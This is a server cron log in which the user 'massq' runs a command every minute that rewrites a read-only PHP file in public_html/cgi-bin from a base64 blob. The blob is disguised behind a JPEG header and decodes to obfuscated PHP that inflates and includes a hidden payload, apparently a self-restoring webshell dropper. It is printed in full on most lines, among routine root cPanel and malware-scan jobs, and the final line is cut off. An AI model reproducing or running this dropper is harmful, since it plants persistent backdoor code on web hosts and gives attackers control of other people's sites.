Apr 10 05:53:01 server CROND[9161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:54:01 server CROND[9337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:55:01 server CROND[9426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:55:01 server CROND[9427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:55:01 server CROND[9430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:56:01 server CROND[9550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:57:01 server CROND[9587]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 05:57:01 server CROND[9588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:58:01 server CROND[9640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:59:01 server CROND[9700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:00:01 server CROND[9864]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 06:00:01 server CROND[9865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:00:01 server CROND[9866]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:00:01 server CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:00:01 server CROND[9868]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr 10 06:00:01 server CROND[9869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:01:01 server CROND[10004]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 06:01:01 server CROND[10005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:01:01 server run-parts(/etc/cron.hourly)[10004]: starting 0anacron
Apr 10 06:01:01 server run-parts(/etc/cron.hourly)[10017]: finished 0anacron
Apr 10 06:02:01 server CROND[10083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:03:01 server CROND[10147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:04:01 server CROND[10217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:05:01 server CROND[10397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:05:01 server CROND[10398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:05:01 server CROND[10401]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 06:05:01 server CROND[10400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:06:01 server CROND[10684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7J